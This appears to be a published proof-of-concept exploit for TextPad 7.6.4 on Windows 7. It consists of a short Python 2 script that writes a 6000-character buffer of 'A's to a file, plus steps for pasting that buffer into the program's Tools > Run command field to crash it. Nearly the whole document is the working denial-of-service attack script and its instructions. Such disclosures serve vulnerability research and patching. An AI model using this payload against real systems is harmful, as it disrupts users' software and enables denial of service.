# Exploit Title: Textpad 7.6.4 - Denial Of Service (PoC) # Author: Gionathan "John" Reale # Discovey Date: 2018-08-22 # Homepage: https://textpad.com # Software Link: https://textpad.com/download/v76/win32/txpeng764-32.zip # Tested Version: 7.6.4 # Tested on OS: Windows 7 32-bit # Steps to Reproduce: Run the python exploit script, it will create a new # file with the name "exploit.txt" just copy the text inside "exploit.txt" # and start the program. In the new window click "Tools" > "Run...". Now paste the content of # "exploit.txt" into the fields:"Command". Click "OK" and you will see a crash. #!/usr/bin/python buffer = "A" * 6000 payload = buffer try: f=open("exploit.txt","w") print "[+] Creating %s bytes evil payload.." %len(payload) f.write(payload) f.close() print "[+] File created!" except: print "File cannot be created"